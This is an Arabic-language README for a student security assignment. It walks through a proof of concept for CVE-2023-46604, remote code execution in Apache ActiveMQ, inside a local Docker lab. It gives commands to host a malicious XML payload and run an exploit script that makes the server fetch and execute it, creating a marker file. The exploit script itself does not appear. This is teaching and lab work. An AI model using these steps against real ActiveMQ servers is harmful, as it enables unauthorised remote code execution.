CVE-2023-46604: إثبات المفهوم لاستغلال Apache ActiveMQ عن بُعد (RCE)

الواجب: الواجب الثالث لمادة SSP الفريق: RCE You Later الأعضاء: Banica Horia Alexandru, Comarlau Vlad-Constantin

رابط فيديو لاستخدام المستودع لعمل إثبات المفهوم: https://www.youtube.com/watch?v=vum4qTF4ygU

🚨 نظرة عامة

يحتوي هذا المستودع على إثبات مفهوم (PoC) وظيفي بالكامل للثغرة CVE-2023-46604. تسمح هذه الثغرة للمهاجم بتنفيذ أوامر شيل عشوائية على خادم Apache ActiveMQ ضعيف (الإصدار 5.15.10) عن طريق إجباره على إلغاء تسلسل ملف تكوين XML ضار.

الهدف: إنشاء ملف باسم pwned_by_ssp_team داخل الخادم الضحية لإثبات أننا نملك السيطرة.

---

🛠️ المتطلبات الأساسية

قبل تشغيل الاستغلال، تأكد من أن لديك:

1. Docker & Docker Compose (مثبتة وقيد التشغيل)
2. Python 3

---

📂 هيكل المستودع

• vulnerable-env/: يحتوي على إعداد Docker للخادم الضحية.
• attacker/: يحتوي على نصوص الاستغلال والحمولات الضارة.
  • exploit.py: نص بايثون الذي يرسل الحزمة الضارة.
  • serve.py: خادم HTTP بسيط لاستضافة حمولة XML.
  • poc.xml: ملف التكوين الضار الذي يحتوي على الأمر touch /tmp/pwned_by_ssp_team.

---

🚀 دليل الاستخدام خطوة بخطوة

الخطوة 1: تشغيل الضحية (ActiveMQ)

سنقوم بتشغيل إصدار قديم وضعيف من ActiveMQ باستخدام Docker.

1. افتح محطة طرفية.
2. انتقل إلى مجلد vulnerable-env:

   cd vulnerable-env
   

3. ابدأ الحاوية:

   docker-compose up -d
   

4. انتظر 30 ثانية حتى يبدأ الخادم بالكامل.

الخطوة 2: استضافة XML الضار

يحتاج الخادم الضحية إلى تنزيل التعليمات منا. سنقوم بإعداد خادم ويب صغير لاستضافة هذه التعليمات.

1. افتح محطة طرفية ثانية.
2. انتقل إلى مجلد attacker:

   cd attacker
   

3. ابدأ خادم الويب بايثون:

   python3 serve.py
   

   احتفظ بهذه المحطة مفتوحة! يجب أن ترى "Serving HTTP on 0.0.0.0 port 8000..."

الخطوة 3: تشغيل الاستغلال

الآن نرسل حزمة الشبكة المحددة التي تؤدي إلى تفعيل الثغرة.

1. افتح محطة طرفية ثالثة.

2. انتقل إلى مجلد attacker:

   cd attacker
   

3. شغّل نص الاستغلال. ملاحظة: إذا كنت على macOS أو Windows، استخدم الأمر أدناه كما هو تمامًا.

   python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
   

   مستخدمي Linux: إذا كنت على Linux، استبدل host.docker.internal ببوابة جسر الشبكة، عادةً: 172.17.0.1. حاول الحصول على العنوان بهذه الطريقة إذا لم يعمل المذكور: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'

الخطوة 4: التحقق من الاختراق

هل نجح؟ دعنا نتحقق مما إذا كان الملف قد تم إنشاؤه داخل الحاوية.

1. عد إلى محطتك الأولى (أو أي محطة).
2. شغّل هذا الأمر للتحقق من مجلد /tmp داخل الضحية:

   docker exec activemq-victim ls -l /tmp
   

3. النجاح: يجب أن ترى ملفًا باسم pwned_by_ssp_team.

🧹 التنظيف

لإيقاف وإزالة الحاوية الضعيفة:

cd vulnerable-env
docker-compose down